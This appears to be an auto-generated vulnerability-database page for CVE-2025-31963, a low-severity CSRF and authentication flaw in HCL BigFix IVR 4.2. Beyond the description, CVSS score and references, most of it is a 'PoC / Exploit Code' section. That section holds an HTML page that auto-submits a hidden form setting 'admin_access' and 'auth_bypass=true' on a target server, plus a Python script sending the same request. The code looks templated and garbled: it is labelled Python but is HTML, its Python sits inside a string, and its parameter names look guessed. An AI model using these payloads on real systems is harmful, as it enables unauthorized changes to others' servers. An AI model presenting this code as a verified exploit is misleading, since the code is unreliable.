CVE-2025-31963

Description

Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.

CVSS Details

CVSS Score

2.9

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:bigfix_insights_for_vulnerability_remediation:4.2:*:*:*:*:*:*:* - VULNERABLE

HCL BigFix IVR version 4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-31963 -->
<!-- This PoC demonstrates the CSRF vulnerability in HCL BigFix IVR -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-31963</title>
</head>
<body>
    <h1>CVE-2025-31963 CSRF PoC</h1>
    <p>This PoC demonstrates the missing CSRF protection in HCL BigFix IVR local setup interface.</p>
    
    <!-- Malicious configuration change request -->
    <form id="csrfForm" action="https://target-server/ivr/setup/configure" method="POST" enctype="application/x-www-form-urlencoded">
        <input type="hidden" name="action" value="update_config">
        <input type="hidden" name="config_param" value="admin_access">
        <input type="hidden" name="config_value" value="enabled">
        <!-- Other malicious configuration parameters -->
        <input type="hidden" name="auth_bypass" value="true">
    </form>

    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If you see this message, the request has been sent.</p>
</body>
</html>

<!-- Python PoC for testing authentication bypass -->
'''
import requests
import json

TARGET_URL = "https://target-server/ivr/setup/configure"
PAYLOAD = {
    "action": "update_config",
    "config_param": "admin_access",
    "config_value": "malicious_value",
    "auth_bypass": "true"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0"
}

response = requests.post(TARGET_URL, data=PAYLOAD, headers=headers)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
'''

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-31963
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-31963
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-31963/
[4] VulDB https://vuldb.com/cve/CVE-2025-31963
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0127753

Raw JSON Data

JSON

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